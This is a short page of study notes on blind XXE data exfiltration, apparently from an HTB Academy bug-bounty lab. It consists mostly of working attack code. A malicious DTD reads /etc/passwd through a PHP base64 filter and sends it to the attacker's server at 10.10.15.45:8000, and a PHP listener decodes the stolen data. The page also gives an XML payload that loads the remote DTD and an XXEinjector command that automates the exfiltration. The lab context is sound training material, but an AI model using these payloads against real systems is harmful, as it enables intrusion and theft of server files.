> For the complete documentation index, see [llms.txt](https://kyou00.gitbook.io/xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kyou00.gitbook.io/xyz/academy-htb/view/bug-bounty-hunter/web-attacks/blind-data-exfiltration.md).

# Blind Data Exfiltration

<pre><code><strong>subl xxe.dtd
</strong>&#x3C;!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
&#x3C;!ENTITY % oob "&#x3C;!ENTITY content SYSTEM 'http://10.10.15.45:8000/?content=%file;'>">
</code></pre>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FZARAi2harXjiK8ohrhJm%2Fimage.png?alt=media&amp;token=83236af3-fdec-449e-b4fb-a658e79882e0" alt=""><figcaption></figcaption></figure>

<pre><code><strong># To decode the base64 encoded /etc/passwd
</strong>&#x3C;?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>
</code></pre>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FNBahuuD4K3LZ44TQB7Cu%2Fimage.png?alt=media&amp;token=d5cf7525-42a2-49ab-827e-cfbcad55561e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FI7POpcPpEmTQJ0WIy8cy%2Fimage.png?alt=media&amp;token=3a0e97c6-4a6a-499c-884a-4d7428a76553" alt=""><figcaption></figcaption></figure>

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>
```

```
/blind
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FbVUOeCcMcj7fqs9JXUkg%2Fimage.png?alt=media&amp;token=a06ade7a-bd57-4c5f-9572-262c42f9650f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F28T2UEvXNoPbBNnsODof%2Fimage.png?alt=media&amp;token=a88996ef-8371-457b-bda4-da26e46fc5fb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FqZ4ccJxEbDrKHgs3MkvU%2Fimage.png?alt=media&amp;token=d69de077-8442-44ab-afbf-de09f1ef1031" alt=""><figcaption></figcaption></figure>

Option 2&#x20;

First we need to save the request to blind.req

Then just edit the XML content and make sure to put the XXEINJECT

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F3GEXwmdqnQNyMKh46DC5%2Fimage.png?alt=media&amp;token=3e050d1d-d4d0-4d52-90c2-7b665d1149d9" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
ruby XXEinjector.rb --host=10.10.15.45 --httpport=8000 --file=../blind.req --path=/etc/passwd --oob=http --phpfilter
```

{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fzor116eTgpINO6LKpt8J%2Fimage.png?alt=media&amp;token=4a3d1a4b-f7b2-4d54-8257-433cd8d1d191" alt=""><figcaption></figcaption></figure>
